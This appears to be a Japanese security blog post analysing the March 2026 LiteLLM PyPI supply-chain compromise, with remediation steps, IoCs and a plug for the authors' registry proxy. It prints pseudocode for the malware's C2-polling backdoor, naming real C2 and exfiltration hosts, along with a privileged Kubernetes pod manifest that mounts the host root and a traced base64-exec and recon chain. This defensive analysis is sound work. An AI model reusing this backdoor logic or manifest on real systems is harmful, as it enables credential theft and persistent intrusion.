• 免責
• TL;DR - 対応指針
• 概要
• タイムライン
• 侵害の仕組み
  • 侵害の起点
  • バージョン 1.82.7 の動作（バグっていない）
  • バージョン 1.82.8 の動作（バグっている）
• 対応指針
  • 1. バージョン確認
  • 2. アンインストールとキャッシュ削除
  • 3. バックドアの確認と除去
  • 4. クレデンシャルのローテーション
• 推奨：自衛手段の整備
• IoCs
  • ネットワーク
  • パッケージそのもの
  • 永続化に関わるもの

2026年3月24日、LLMプロキシライブラリ LiteLLM の PyPI パッケージが侵害されました。 攻撃者は PyPI のメンテナアカウント（krrishdholakia）を乗っ取り、クレデンシャル窃取・Kubernetes 対象のラテラル・永続化マルウェアを含むバージョン 1.82.7 および 1.82.8 を公開しました。

本記事では公開情報をもとに、事象の概要を記録します。また、対応指針を示します。

免責

本記事の目的は事態の把握と対応の促進であり、違法行為への加担・助長を意図するものではありません。 ペイロードの動作は手法の理解に必要な範囲で要約して記載しています。 記述の一部には不正確な情報が含まれている可能性があります。 速報性を優先していますので、ご了承ください。

TL;DR - 対応指針

• pip show litellm によりインストール済バージョンを確認してください。
• 1.82.7 または 1.82.8 がインストール済の場合、マルウェア感染の可能性があります。
  • 1.82.7 は import 時に発火。発火した場合、永続化・データの漏洩につながる。
  • 1.82.8 は Python の起動のみで発火（.pth 経由）。ただバグがあり、攻撃は成功しない。
• 影響を受けたバージョンをインストールしている場合は、
  • まずアンインストールしてください。
  • 漏洩が疑われるクレデンシャルを即座にローテーション してください。
• 利用継続する場合、現時点で安全と思わしき 1.82.6 以前のバージョンにピン留めしてください。
• キャッシュからの再インストールを防ぐため、pip cache purge も実行してください。
• 以下を含むディレクトリに永続化されたバックドアが存在し得ます。確認・削除ください。
  • ホスト上の ~/.config/sysmon/sysmon.py
  • ホスト上の ~/.config/systemd/user/sysmon.service
  • Kubernetes環境では kube-system namespace に node-setup-* という名前のPod
• なお現在は PyPI 上からは、既に前述の悪性バージョンをダウンロードできません。

概要

今回の侵害は、3月19日の Trivy 侵害、3月23日の Checkmarx KICS GitHub Action 侵害に続く、脅威アクタ TeamPCP による3月中3度目のサプライチェーン攻撃です。

Trivy侵害で窃取されたCI/CDシークレットが起点となり、LiteLLMのCI/CDパイプラインからPyPI公開用クレデンシャルが窃取された可能性が言及されています¹。 筆者も同インシデントを中心とした影響範囲をトラックしていますが、もう正直追い切れるようなものではなくなっています・・・。

タイムライン

以下に概略を示します。

いずれもGitHub上に対応するタグやリリースは存在せず、PyPIへの直接アップロードです。

侵害の仕組み

侵害の起点、各バージョンごとの侵害内容に分けて説明します。

侵害の起点

今回の侵害では、バージョンごとに悪性コードの実行起点が変化しています。

Python インタプリタは site-packages 内の .pth ファイルを自動処理するため、1.82.8 では、 LiteLLMをインポートしなくても、インストール済環境で Pythonプロセスが起動するだけでペイロードが実行されます。

バージョン 1.82.7 の動作（バグっていない）

1.82.7 は litellm.proxy が import されたタイミングで、proxy_server.py 内の難読化コードが実行されます。

GitHub Issue には import litellm や import litellm.proxy で発火しそうな記載がありますが、筆者の理解ではこれらでは発火しません。正確には、from litellm.proxy.proxy_server import app までいかないと発火しないはずです。これは litellm --port 8000のようなコマンド実行でも到達するコードパスなので、litellm ユーザーには影響がありそうです。また勿論、自分のコードが前記のように proxy_server まで到達する依存を持っている場合も発火しそうです。

発火した際は、大きく3段階で動作します。

1. 収集: SSH鍵やクラウドクレデンシャル（AWS/GCP/Azure）等をホスト上から広範に収集する
2. 漏洩: 収集データを AES-256-CBC + RSA-4096 で暗号化し、models[.]litellm[.]cloud に HTTPS POST で送信する
3. 永続化: ~/.config/sysmon/sysmon.py + ~/.config/systemd/user/sysmon.service にバックドアを配置し常駐する。50分間隔で C2（checkmarx[.]zone/raw）をポーリング

収集フェーズでは、静的解析した限り、以下ファイルが最大の読み取り対象となっています：

コマンド実行によるデータ収集も行われます。以下が静的解析の範囲で確認できるコマンドです。

urllib 経由で収集する対象もありました。以下が静的解析の範囲で確認できる範囲です。

収集されたデータは AES-256-CBC + RSA-4096 で暗号化され、models[.]litellm[.]cloud に HTTPS POST で送信されます。 暗号化に使われる RSA 公開鍵はペイロード内にハードコードされています。

永続化フェーズでは、~/.config/sysmon/sysmon.py にバックドアを配置し、systemd ユーザーサービスとして常駐させます。 典型的な C2 ポーリング型のバックドアで、擬似コードで示すと以下のような動作です。

C_URL = "https://checkmarx[.]zone/raw"    # C2 サーバー
TARGET = "/tmp/pglog"                       # ダウンロード先
STATE = "/tmp/.pg_state"                    # 前回URL記録

time.sleep(300)          # 起動後 5 分間スリープ (サンドボックス回避)
while True:
    url = fetch(C_URL)   # C2 に GET → ペイロード URL が返る
    if url != prev:
        download(url, TARGET)
        chmod(TARGET, 755)
        Popen([TARGET])  # 実行
    time.sleep(3000)     # 50 分間隔でポーリング

Kubernetes 環境に対してのみ、hostPID/hostNetwork = True な特権Podを全ノードに作成し、ホスト側でも同じバックドアを実行しようとします。 デプロイされるマニフェストのイメージは以下です。

pod_manifest = {
    'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
    'spec': {
        'nodeName': node_name,          # 各ノードを指定
        'hostPID': True,                # ホストの PID namespace 共有
        'hostNetwork': True,            # ホストのネットワーク共有
        'tolerations': [{'operator': 'Exists'}],  # 全 taint 無視 (master でも動く)
        'containers': [{
            'image': 'alpine:latest',
            'securityContext': {'privileged': True},     # 特権
            'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]  # ホスト / をマウント
        }],
        'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
    }
}

バージョン 1.82.8 の動作（バグっている）

静的に解析する限り、基本的に攻撃者が実行したかったであろうことは、バージョン 1.82.7 と同等だったと考えられます。

一方、実行トレースも取って観察しましたが、以下のようなパターンが繰り返されます：

  python -c "..."  ← .pth がトリガーされる
   └→ python -c "import base64; exec(b64decode(...))"  ← デコード&実行
       ├→ python -  (stdin payload)       
       │   ├→ sh -c "hostname; pwd; whoami; uname -a; ip addr; ip route"
       │   ├→ sh -c "printenv"
       │   └→ ...       
       │
       └→ python -c "import base64; exec(...)"  ← 再帰的な実行（！）
           └→ [同一チェーンを再帰的に繰り返し]

これは 1.82.7 と同じスクリプトを実行しようとするものの、途中に Python を subprocess で起動する実装が含まれることにより起こっています。 .pth が .pth のロードを自己再帰的に引き起こすということです。fork bomb 相当ともいえます。

おそらく 1.82.8 に感染した端末では、CPU・メモリの異常使用を除けば、攻撃はなかなか成立しなかったのではないかと推察されます。筆者がトレースの取得を試みた際は、CPU・メモリを食いつぶしてVMが死んでしまいました。

対応指針

以下は筆者の調査結果を踏まえた参考情報であり、記録として示すものです。 正確性・網羅性を保証するものではなく、本指針に基づく対応の結果について筆者は一切の責任を負いません。 実際の対応は各組織の判断に基づいて行ってください。

1. バージョン確認

pip show litellm 2>/dev/null | grep -i version

1.82.7 または 1.82.8 が表示された場合、以降の手順に進んでください。 それ以外のバージョンであれば、直接的な影響はありません。

2. アンインストールとキャッシュ削除

pip uninstall litellm
pip cache purge

利用を継続する場合は litellm<=1.82.6 にピン留めしてください。

3. バックドアの確認と除去

# バックドアの存在確認
ls -la ~/.config/sysmon/sysmon.py ~/.config/systemd/user/sysmon.service 2>/dev/null

# 存在した場合の除去
systemctl --user stop sysmon.service
systemctl --user disable sysmon.service
rm -f ~/.config/sysmon/sysmon.py ~/.config/systemd/user/sysmon.service /tmp/pglog /tmp/.pg_state
systemctl --user daemon-reload

Kubernetes 環境では、kube-system namespace に node-setup-* Pod が作成されていないかも確認してください。

kubectl get pods -n kube-system | grep node-setup

4. クレデンシャルのローテーション

1.82.7 が import された可能性がある環境では、前述の収集対象を踏まえ、クレデンシャルのローテーションを検討してください。 1.82.8 に感染した環境であっても、場合によっては刺さる可能性がゼロではない為、同様です。

推奨：自衛手段の整備

Trivy侵害から始まったTeamPCPの連鎖攻撃は、KICS、そしてLiteLLMへと波及しており、窃取済みクレデンシャルを起点にした侵害が今後も続く可能性があります。 次にどのパッケージが狙われるかは予測できないため、可能な限りの自衛を推奨します。

自衛策の一つとすべく、筆者が所属する組織（GMO Flatt Security）から、セキュアなレジストリプロキシ Takumi Guard の PyPI エンドポイント をリリースしました。

Takumi Guard は pip/uv/poetry と PyPI（レジストリ）の間に位置するセキュリティプロキシで、悪意あるパッケージがブロックされます。我々で全ての新規パッケージを検査しています。 また、仮にある時点ではパッケージがマルウェアと判定できず、ブロックされなかった場合も、後日の通知を行う仕組みもあります。なお通知を受けるためには、メールアドレスの登録が必要です（それはそうなのですが）。

また、今回は諸般の流れを汲み、やや冒険的ですが 72時間の検疫期間を設けています。新規公開バージョンが 72 時間はインストールできない仕組みです。今回の場合、公開から数時間でマルウェアがテイクダウンされている為、このような事象からの影響を受ける可能性が低減できます。現状 uv以外では npm 文化圏でいう minimumReleaseAge に相当する仕組みが見当たらず、一定この意味で寄与するものと思料します。

導入は index URL の変更のみで完了します。必要に応じて利用を検討してください。

# pip
export PIP_INDEX_URL=https://pypi.flatt.tech/simple/

# uv
export UV_INDEX_URL=https://pypi.flatt.tech/simple/

# poetry
poetry source add --priority=primary takumi-guard https://pypi.flatt.tech/simple/

IoCs

確認された侵害の痕跡（Indicators of Compromise）を以下に示します。

ネットワーク

パッケージそのもの

永続化に関わるもの